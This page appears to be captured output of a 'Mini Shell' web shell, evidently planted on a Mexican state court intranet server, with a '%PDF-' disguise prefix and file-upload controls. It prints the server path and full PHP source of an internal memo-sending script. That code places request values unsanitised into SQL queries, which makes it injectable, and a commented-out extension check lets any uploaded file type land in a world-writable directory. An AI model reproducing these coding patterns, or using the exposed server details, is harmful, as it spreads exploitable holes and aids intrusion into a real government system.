%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/oficios/controller/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/oficios/controller/enviar_oficio.php

<?php

session_start();

include "../../../config/config.php";



$conf = new Configuracion();

$conf->conectarBD();



$alcance            =   isset($_REQUEST['alcance']) ? $_REQUEST['alcance'] : '';

$asunto				=	isset($_REQUEST['asunto']) ? $_REQUEST['asunto'] : '';

$mensaje			=	isset($_REQUEST['editor']) ? $_REQUEST['editor'] : '';

$id_personal    	=	isset($_REQUEST['epersonal']) ? $_REQUEST['epersonal'] : 0;

$id_area            =   isset($_REQUEST['emasivo']) ? $_REQUEST['emasivo'] : 0;

$prioridad          =   isset($_REQUEST['prioridad']) ? $_REQUEST['prioridad'] : '';

$id_firma           =   isset($_REQUEST['id_firma']) ? $_REQUEST['id_firma'] : '-1';

$correos	        =	isset($_REQUEST['correos']) ? $_REQUEST['correos'] : 0;

$emasivo_area	        =	isset($_REQUEST['emasivo_area']) ? $_REQUEST['emasivo_area'] : 0;





$asunto     = $asunto;

$ip         = $_SERVER['REMOTE_ADDR'];

$id_usuario = $_SESSION['id_usuario'];

$prioridad  = 'label label-'.$prioridad;



$sql0 = "SELECT correo FROM tjam_empleados e WHERE id = '$id_usuario' ";

$rst0 = $conf->consulta($sql0);

$correoFrom = $rst0[0]["correo"];



$contador   =   isset($_FILES['documento']['name']) ? count($_FILES['documento']['name']) : 0;

$nombreDoc  =   isset($_REQUEST['nombreDoc']) ? $_REQUEST['nombreDoc'] : 0;

$db_url_img =   "";







    if($alcance == "Personal")

    {

        $sql = "SELECT correo FROM tjam_empleados e WHERE id = '$id_personal' ";

        $rst = $conf->consulta($sql);

        $correoTo = $rst[0]["correo"];



        $sql2 = "INSERT INTO tjam_oficios SET id_emp_origen = $id_usuario, asunto = '$asunto', id_firma = '$id_firma', mensaje = '$mensaje', prioridad = '$prioridad'";

        $id_oficio = $conf->insertRegLID($sql2);

        

        $sql3 = "INSERT INTO tjam_oficios_dest SET id_oficio = $id_oficio, id_empleado_dest = $id_personal";

        $rst3 = $conf->actualizacion($sql3);



        $count = 0;

        while($count < $contador)

        {

            $NombreDoc = $nombreDoc[$count];

    		insertaImagen("documento",$count,$conf,$id_oficio,$NombreDoc);	

    		$count = $count + 1;

    	}

    	

        if(enviar_correos_oficio($correoFrom,$correoTo,$asunto,$mensaje,$prioridad))

        {

            header("Location: ../page_oficios.php");

            RegistrarNotificaciones($conf,$asunto,$ip,'sistemas/oficios/page_ver_oficios.php?noti=1&id_oficio='.$id_oficio,$id_usuario,$id_personal, $prioridad);

        }

        else

            echo '<br> error en correo para el correo: '.$correoTo; 

            

    }

    else

    {

        if($emasivo_area > 0)

        {

        

            $id_oficioPrinicipal = 0;

            

            $correosFrom = ['oficios@tjamich.gob.mx','oficios1@tjamich.gob.mx','oficios2@tjamich.gob.mx'];

            

            if($emasivo_area == 100)

                $sql = "SELECT id,correo FROM tjam_empleados e WHERE e.id_estatus = 1 ";

            else

                $sql = "SELECT id,correo FROM tjam_empleados e WHERE e.id_area = $emasivo_area AND e.id_estatus = 1 ";

            

        $rst = $conf->consulta($sql);

        $correos = $rst;

            

            $correoFrom = $correosFrom[0];

            for($i=0; $i < count($correos); $i++)

            {

                

            

                $correoTo = $correos[$i]['correo'];

                

                $sql3E = "INSERT INTO oficios_correo_enviados SET correoFrom = '$correoFrom', correoTo = '$correoTo'";

                $rst3E = $conf->actualizacion($sql3E);

            

                

                $id_personal = $correos[$i]['id'];

                

                $sql2 = "INSERT INTO tjam_oficios SET id_emp_origen = $id_usuario, asunto = '$asunto', id_firma = '$id_firma', mensaje = '$mensaje', prioridad = '$prioridad'";

                $id_oficio = $conf->insertRegLID($sql2);

                

                $sql3 = "INSERT INTO tjam_oficios_dest SET id_oficio = $id_oficio, id_empleado_dest = $id_personal";

                $rst3 = $conf->actualizacion($sql3);

                

                if($i==0)

                {

                    $count = 0;

                    while($count < $contador)

                    {

                        $NombreDoc = $nombreDoc[$count];

                		insertaImagen("documento",$count,$conf,$id_oficio,$NombreDoc);

                		$count = $count + 1;

                		

                	}

                	$id_oficioPrinicipal = $id_oficio;

                }

                else

                {

                    

                     $insertar = "INSERT INTO tjam_oficios_adjunto (url,id_oficio,nombre) SELECT  url,$id_oficio,nombre FROM tjam_oficios_adjunto  WHERE id_oficio = $id_oficioPrinicipal ";

                     $conf->actualizacion($insertar);

                }

                

                $sqltotal = "SELECT count(*) AS total FROM oficios_correo_enviados WHERE correoFrom = '$correoFrom' AND fecha >= DATE_SUB(CURDATE(), INTERVAL 1 HOUR)";

                $rsttotal = $conf->consulta($sqltotal)[0]['total'];

                

                if($rsttotal > 100 AND $correoFrom == 'oficios@tjamich.gob.mx')

                {

                     $correoFrom = $correosFrom[1];

                }

                if($rsttotal > 100 AND $correoFrom == 'oficios1@tjamich.gob.mx')

                {

                     $correoFrom = $correosFrom[2];

                }

                

               

                if(enviar_correos_oficio($correoFrom,$correoTo,$asunto,$mensaje,$prioridad))

                {

                    header("Location: ../page_oficios.php");

                    RegistrarNotificaciones($conf,$asunto,$ip,'sistemas/oficios/page_ver_oficios.php?noti=1&id_oficio='.$id_oficio,$id_usuario,$id_personal, $prioridad);

                }

                else

                    echo '<br> error en correo para el correo: '.$correoTo;

            }

        }

        else

        {

        

            $id_oficioPrinicipal = 0;

            

            $correosFrom = ['oficios@tjamich.gob.mx','oficios1@tjamich.gob.mx','oficios2@tjamich.gob.mx'];

            $correoFrom = $correosFrom[0];

            for($i=0; $i < count($correos); $i++)

            {

                

            

                $correoTo = $correos[$i];

                

                $sql3E = "INSERT INTO oficios_correo_enviados SET correoFrom = '$correoFrom', correoTo = '$correoTo'";

                $rst3E = $conf->actualizacion($sql3E);

            

                

                $sql1 = "SELECT id FROM tjam_empleados WHERE correo = '$correoTo' ";

                $rst1 = $conf->consulta($sql1);

                

                $id_personal = $rst1[0]['id'];

                

                $sql2 = "INSERT INTO tjam_oficios SET id_emp_origen = $id_usuario, asunto = '$asunto', id_firma = '$id_firma', mensaje = '$mensaje', prioridad = '$prioridad'";

                $id_oficio = $conf->insertRegLID($sql2);

                

                $sql3 = "INSERT INTO tjam_oficios_dest SET id_oficio = $id_oficio, id_empleado_dest = $id_personal";

                $rst3 = $conf->actualizacion($sql3);

                

                if($i==0)

                {

                    $count = 0;

                    while($count < $contador)

                    {

                        $NombreDoc = $nombreDoc[$count];

                		insertaImagen("documento",$count,$conf,$id_oficio,$NombreDoc);

                		$count = $count + 1;

                		

                	}

                	$id_oficioPrinicipal = $id_oficio;

                }

                else

                {

                    

                     $insertar = "INSERT INTO tjam_oficios_adjunto (url,id_oficio,nombre) SELECT  url,$id_oficio,nombre FROM tjam_oficios_adjunto  WHERE id_oficio = $id_oficioPrinicipal ";

                     $conf->actualizacion($insertar);

                }

                

                $sqltotal = "SELECT count(*) AS total FROM oficios_correo_enviados WHERE correoFrom = '$correoFrom' AND fecha >= DATE_SUB(CURDATE(), INTERVAL 1 HOUR)";

                $rsttotal = $conf->consulta($sqltotal)[0]['total'];

                

                if($rsttotal > 100 AND $correoFrom == 'oficios@tjamich.gob.mx')

                {

                     $correoFrom = $correosFrom[1];

                }

                if($rsttotal > 100 AND $correoFrom == 'oficios1@tjamich.gob.mx')

                {

                     $correoFrom = $correosFrom[2];

                }

                

               

                if(enviar_correos_oficio($correoFrom,$correoTo,$asunto,$mensaje,$prioridad))

                {

                    header("Location: ../page_oficios.php");

                    RegistrarNotificaciones($conf,$asunto,$ip,'sistemas/oficios/page_ver_oficios.php?noti=1&id_oficio='.$id_oficio,$id_usuario,$id_personal, $prioridad);

                }

                else

                    echo '<br> error en correo para el correo: '.$correoTo;

                    

      

            }

        }

        

    }

    

	$conf->desconectarDB();



    header("Location: ../page_oficios.php");





    function insertaImagen($tipo_imagen,$count,$conf,$id_oficio,$nombreDoc)

    { 

        if(empty($_FILES[$tipo_imagen]["name"][$count]))

		{

			return;

		}

          

        $file_name=$_FILES[$tipo_imagen]["name"][$count];

        $extension = pathinfo($_FILES[$tipo_imagen]['name'][$count], PATHINFO_EXTENSION);

        $ext_formatos = array('png','gif','jpg','jpeg','pdf','docx','mp3','mp4','wma','xlsx');	



       /* if(!in_array(strtolower($extension), $ext_formatos))

            return;*/

        if ($_FILES[$tipo_imagen]["size"][$count]  > 33000300800)

            return;  

        $dia  = date("d");

        $mes  = date("m");

        $anio = date("Y");



        $targetDir = "../documentos/$anio/$mes/$dia/";

        @rmdir($targetDir);



        // Create target dir

        if (!file_exists($targetDir)) {

            @mkdir($targetDir,0777, true);

        }



        $token = md5(uniqid(rand(), true));

        $file_name = $token.'.'.$extension;



        $add = $targetDir.$file_name; 

        $db_url_img = "$anio/$mes/$dia/$file_name";



        if(move_uploaded_file ($_FILES[$tipo_imagen]["tmp_name"][$count], $add))

        {

           $insertar = "INSERT INTO tjam_oficios_adjunto (url,id_oficio,nombre) values ('$db_url_img','$id_oficio','$nombreDoc') ";

           $conf->actualizacion($insertar);

        }

    }





?>

 


Zerion Mini Shell 1.0